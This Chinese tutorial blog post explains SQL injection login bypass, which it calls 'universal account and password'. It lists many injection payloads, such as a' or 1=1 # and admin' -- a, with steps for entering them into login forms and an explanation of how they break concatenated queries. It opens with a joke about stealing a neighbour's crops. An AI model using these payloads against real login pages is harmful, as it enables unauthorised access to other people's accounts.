千万不要对程序员嚼舌根……

举报
士别三日wyx 发表于 2021/12/31 20:24:18 2021/12/31
【摘要】 自从上次狗剩被隔壁大娘嚼舌根以后,便怀恨在心,一气之下破解了大妈的农场密码,并偷走了大娘种的菜。狗剩:“隔壁大娘,快去农场看看吧,你菜死了!”@TOC 一、什么是万能账号密码万能账号密码是指 【万能账号】和 【万能密码】,顾名思义,就是可以 【登录任意网站】的账号和密码 1、万能账号当我们不知道用户的账号并且不知道用户的密码时,可以使用万能账号。万能账号并不是一个真正意义上的账号,它是一种【...

自从上次狗剩被隔壁大娘嚼舌根以后,便怀恨在心,一气之下破解了大妈的农场密码,并偷走了大娘种的菜。
狗剩:“隔壁大娘,快去农场看看吧,你菜死了!”

在这里插入图片描述
@TOC

一、什么是万能账号密码

万能账号密码是指 【万能账号】【万能密码】,顾名思义,就是可以 【登录任意网站】的账号和密码

在这里插入图片描述

1、万能账号

当我们不知道用户的账号并且不知道用户的密码时,可以使用万能账号。
万能账号并不是一个真正意义上的账号,它是一种【拥有不同变体的格式】
需要注意的是,以下所有万能账号中的 a 可以是自定义的数字或字母,比如 1,2,3,b,c,d

【数值型万能账号】

  1. a or true #
  2. a or 1 #
  3. a or 1=1 #
  4. a or true -- a
  5. a or 1 -- a
  6. a or 1=1 -- a

【单引号字符型万能密码】

  1. a' or true #
  2. a' or 1 #
  3. a' or 1=1 #
  4. a' or true --a
  5. a' or 1 -- a
  6. a' or 1=1 -- a

【双引号字符型万能密码】

  1. a" or true #
  2. a" or 1 #
  3. a" or 1=1 #
  4. a" or true -- a
  5. a" or 1 -- a
  6. a" or 1=1 -- a

1.1 万能账号的使用

  • 账号输入 【万能账号】, 比如 a or true #
  • 密码随便输入,比如 123456

2、万能密码

当我们知道用户的账号,但不知道用户的密码时,可以使用万能密码
万能密码并不是一个真正意义上的密码,而是一个【拥有不同变体的格式】
需要注意的是:万能密码中的 admin,必须是真实的用户名

【数值型万能密码】

  1. admin #
  2. admin -- a

【单引号字符串型万能密码】

  1. admin' #
  2. admin' -- a

【双引号字符串型万能密码】

  1. admin” #
  2. admin" -- a

2.1 万能密码的使用

  • 用户名输入 【万能密码】,比如 admin’ #
  • 密码随便输入,比如 123456

二、万能账号密码原理剖析

网站登录功能的SQL语句大概是下面这个样子

select * from user where username='user' and password='pass'

1、万能账号原理

当我们在登录界面输入 【万能账号】比如 a’ or true # 以后,后端会将我们输入的参数拼接到SQL中,然后去数据库中查询账号和密码,SQL语句大概是下面这样

select * from user where username='a' or true #' and password='pass'

由于 # 在SQL中是注释符,注释符后面的内容不起作用,所以真正执行的SQL语句大概是下面这样

select * from user where username='a' or true

or true 会使SQL语句恒成立,从而查询出数据库中的所有账号和密码,从而使我们成功登录

1.1 注释符

除了 # 以外, -- 也是SQL中的注释符,但SQL的语法格式规定--和后面的注释内容必须间隔一个空格,所以这需要使用 a' or 1 -- a 而不是 a' or 1 -- 其原理和 a’ or 1 # 大同小异,拼接到SQL中大概是下面这样

select * from user where username='a' or true -- a' and password='pass'

注释后面的内容不生效,真正执行的SQL大概是下面这样

select * from user where username='a' or true 

SQL语句恒成立,从而登录成功
换句话来说,a' or true -- a经过SQL的转化后,结果等价于 a’ or true #

1.2 比较运算符

SQL中规定,非布尔类型的数据参与比较运算时,会转化为布尔类型再参与运算。比如 or 1 或者 or 1=1 ,会转化为布尔类型的 true 再参与 or 的比较运算,也就是变成 or true ,同样能使条件恒成立,从而登录成功
简单来讲就是:a' or 1 # 或者 a' or 1=1 # 等价于 a' or true #

2、万能密码原理

当我们在登录界面输入 【万能密码】 比如 admin’ # 以后,后端会将我们输入的参数拼接到SQL中,大概是下面这样

select * from user where username='admin' #' and password='pass'

由于 # 在SQL中是注释符,注释符后面的内容不起作用,所以真正执行的SQL大概是下面这样

select * from user where username='admin'

SQL只会在数据库中查询用户名,而不是同时查询用户名和密码,这就意味着,只要用户名正确,就可以登录成功

2.1 注释符

除了 #-- 在SQL中也是注释符,SQL的语法格式规定 --后面必须使用空格来间隔后面的注释内容,所以需要将 --写作 -- a,后面的 a 可以是任意数字或者字母
简单来件就是 admin’ – a 等价于 admin‘ #

总结

此文章的初衷是为了帮助大家了解网站的一些漏洞,动歪脑筋的同学请在心理默念三遍:【我国有一部完整且历史悠久的法律】

在这里插入图片描述

【版权声明】本文为华为云社区用户原创内容,未经允许不得转载,如需转载请自行联系原作者进行授权。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。